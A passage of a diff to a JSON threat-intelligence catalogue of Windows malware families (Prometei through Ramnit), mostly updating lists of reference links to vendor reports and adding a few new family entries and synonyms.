in July 2020, Cybereason Nocturnus team found evidence that this Prometei has been evolved since 2016. There are Linux and Windows versions of this malware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei", + "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", + "https://twitter.com/honeymoon_ioc/status/1494016518694309896", + "https://twitter.com/honeymoon_ioc/status/1494311182550904840", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "eddb73d8-a33b-4cc6-b1d5-4697f2f4d0ee", + "value": "Prometei (Windows)" + }, { "description": "Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus", + "https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/", "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea", "https://twitter.com/inversecos/status/1441252744258461699?s=20", "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd", - "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/", + "https://unit42.paloaltonetworks.com/prometheus-ransomware/", "https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html", - "https://unit42.paloaltonetworks.com/prometheus-ransomware/" + "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", + "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/" ], "synonyms": [], "type": [] @@ -28358,6 +33584,34 @@ "uuid": "03f30d04-4568-4c4c-88d6-b62efc72f33a", "value": "ProtonBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer", + "https://twitter.com/vxunderground/status/1519632014361640960", + "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "09a1c6e8-c99f-4648-8210-08c25183f537", + "value": "Prynt Stealer" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt", + "https://asec.ahnlab.com/en/31683/", + "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bae89d64-30ce-4bfd-937b-0ec4ac846f60", + "value": "PseudoManuscrypt" + }, { "description": "According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.\r\n\r\nIn binaries, apart from BotModule and MainModule, references to the following Modules have be observed:\r\nBrowserModule\r\nBTCModule\r\nComplexModule\r\nKeyLoggerModule\r\nOutlookModule\r\nProcessModule\r\nRansomwareModule\r\nSkypeModule", "meta": { @@ -28411,17 +33665,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", + "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", + "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", "https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/", "https://blog.threatstop.com/russian-apt-gamaredon-group", "https://cert.gov.ua/news/42", - "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", - "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", + "https://blogs.cisco.com/security/network-footprints-of-gamaredon-group", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine", "https://cert.gov.ua/news/46" ], - "synonyms": [], + "synonyms": [ + "Pterodo" + ], "type": [] }, "uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf", @@ -28466,12 +33730,15 @@ "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/", "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://www.infinitumit.com.tr/apt-35/", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://github.com/n1nj4sec/pupy", "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" ], "synonyms": [ "Patpoopy" @@ -28501,21 +33768,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox", - "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", + "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", + "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", + "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", + "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", + "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit", + 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"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.secureworks.com/research/threat-profiles/gold-lagoon", + "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://twitter.com/elisalem9/status/1381859965875462144", - "https://www.group-ib.com/blog/egregor", + "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", + "https://twitter.com/Corvid_Cyber/status/1455844008081641472", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://www.linkedin.com/posts/zayedaljaberi_hunting-recent-qakbot-malware-activity-6903498764984606720-2Gl4", + "https://www.secureworks.com/research/threat-profiles/gold-lagoon", + "https://isc.sans.edu/diary/rss/28728", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "https://securityintelligence.com/news/qbot-malware-using-windows-defender-antivirus-lure/", "https://www.youtube.com/watch?v=iB1psRMtlqg", "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", "https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/", "https://twitter.com/TheDFIRReport/status/1361331598344478727", "https://www.um.edu.mt/library/oar/handle/123456789/76802", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.malwarology.com/2022/04/qakbot-series-process-injection/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/", "https://blog.group-ib.com/prometheus-tds", "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/", - "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", + "https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", "https://www.group-ib.com/blog/prolock_evolution" ], "synonyms": [ @@ -28879,11 +34224,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader", "https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/", "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://twitter.com/Arkbird_SOLG/status/1458973883068043264", "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat" ], "synonyms": [], @@ -28897,48 +34244,65 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://blog.morphisec.com/syk-crypter-discord", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://blog.morphisec.com/cinarat-resurfaces-with-new-evasive-tactics-and-techniques", + "https://medium.com/cycraft/china-implicated-in-prolonged-supply-chain-attack-targeting-taiwan-financial-sector-264b6a1c3525", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://twitter.com/malwrhunterteam/status/789153556255342596", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "https://www.bleepingcomputer.com/news/security/malware-now-using-nvidias-stolen-code-signing-certificates/", "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://twitter.com/struppigel/status/1130455143504318466", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", "https://blog.minerva-labs.com/trapping-quasar-rat", "https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://blog.malwarelab.pl/posts/venom/", + "https://asec.ahnlab.com/en/31089/", "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", "https://blog.ensilo.com/uncovering-new-activity-by-apt10", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://medium.com/cycraft/supply-chain-attack-targeting-taiwan-financial-sector-bae2f0962934", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", + "https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "https://blog.rootshell.be/2022/02/11/sans-isc-cinarat-delivered-through-html-id-attributes/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/", + "https://intel471.com/blog/privateloader-malware", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite", - "https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", + "https://www.bleepingcomputer.com/news/security/trojanized-dnspy-app-drops-malware-cocktail-on-researchers-devs/", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", "https://www.antiy.cn/research/notice&report/research_report/20201228.html", "http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments", @@ -28954,6 +34318,19 @@ "uuid": "05252643-093b-4070-b62f-d5836683a9fa", "value": "Quasar RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal", + "https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8a4747a4-8165-40eb-abfe-fd674558ecb4", + "value": "QuickHeal" + }, { "description": "Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.\r\n", "meta": { @@ -28988,25 +34365,38 @@ "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://www.youtube.com/watch?v=5KHZSmBeMps", - "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", + "https://asec.ahnlab.com/en/35981/", "https://www.group-ib.com/blog/fakesecurity_raccoon", "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/", + "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", "https://www.youtube.com/watch?v=1dbepxN2YD8", "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", + "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.riskiq.com/blog/labs/magecart-medialand/", "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", + "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", + "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer" + "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://asec.ahnlab.com/ko/25837/", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/" ], "synonyms": [ "Mohazo", @@ -29019,6 +34409,19 @@ "uuid": "027fb7d0-3e9b-4433-aee1-c266e165a5cc", "value": "Raccoon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad", + "https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f99e0c8b-a479-4902-9c7e-e16724323ef6", + "value": "Rad" + }, { "description": "", "meta": { @@ -29050,53 +34453,69 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker", "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.acronis.com/en-sg/articles/ragnar-locker/", + "https://www.ic3.gov/Media/News/2022/220307.pdf", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", + "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://securelist.com/targeted-ransomware-encrypting-data/99255/", "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf" + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", + "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/" ], "synonyms": [], "type": [] }, "uuid": "33f55172-873b-409e-a09b-97ac1301b036", - "value": "RagnarLocker" + "value": "RagnarLocker (Windows)" }, { "description": "According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/" ], "synonyms": [], @@ -29113,7 +34532,10 @@ "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29" ], "synonyms": [], "type": [] @@ -29168,25 +34590,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit", + "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", + "https://research.checkpoint.com/ramnits-network-proxy-servers/", + "http://www.secureworks.com/research/threat-profiles/gold-fairfax", "https://securelist.com/financial-cyberthreats-in-2020/101638/", "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html", "https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html", "http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", + "https://www.youtube.com/watch?v=l6ZunH6YG0A", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/", "https://www.youtube.com/watch?v=N4f2e8Mygag", - 